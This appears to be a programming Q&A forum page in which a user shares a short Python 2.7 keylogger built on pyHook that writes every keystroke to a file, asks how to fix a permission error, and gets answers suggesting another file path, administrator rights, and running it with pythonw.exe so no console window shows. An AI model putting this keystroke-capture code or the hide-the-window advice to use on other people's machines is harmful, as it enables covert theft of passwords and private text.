user6514554
user6514554

Reputation:

Python 2.7 keylogger

I just made a keylogger with python 2.7 but it doesn't work. Here is the keylogger code:

import pyHook, pythoncom, sys, logging

file_log = 'C:\keyloggeroutput.txt'

def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    print "You pressed: ", chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

And this is the error i get:

Traceback (most recent call last):
  File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
    return func(event)
  File "<stdin>", line 2, in OnKeyboardEvent
  File "C:\Python27\lib\logging\__init__.py", line 1547, in basicConfig
    hdlr = FileHandler(filename, mode)
  File "C:\Python27\lib\logging\__init__.py", line 913, in __init__
    StreamHandler.__init__(self, self._open())
  File "C:\Python27\lib\logging\__init__.py", line 943, in _open
    stream = open(self.baseFilename, self.mode)
IOError: [Errno 13] Permission denied: 'C:\\keyloggeroutput.txt'

My python folder is here:

C:\Python27

How can I make the keylogger work?

Upvotes: 0

Views: 1261

Answers (3)

hahaly
hahaly

Reputation: 33

You cannot put the file in C:/, you should try another file location

Upvotes: 0

DoubleOZ
DoubleOZ

Reputation: 128

Try running the script with local admin privileges from windows or root in linux. In windows you can open the powershell/cmd shell as Administrator. In linux use the sudo command with your script: sudo python_script.py args

After OP's comment: Try running it with pythonw.exe instead of python.exe like so:

C:\Python27\pythonw.exe your_script.pyw

The PYW file type is primarily associated with 'Python' by Python Software Foundation. PYW files are used in Windows to indicate a script needs to be run using PYTHONW.EXE instead of PYTHON.EXE in order to prevent a DOS console from popping up to display the output. This patch makes it possible to import such scripts, in case they're also usable as modules.

Upvotes: 0

&#220;mit Yayla
&#220;mit Yayla

Reputation: 38

i could recommend tryin to create the file in your documents

IOError: [Errno 13] Permission denied: 'C:\\keyloggeroutput.txt'

Upvotes: 0

Related Questions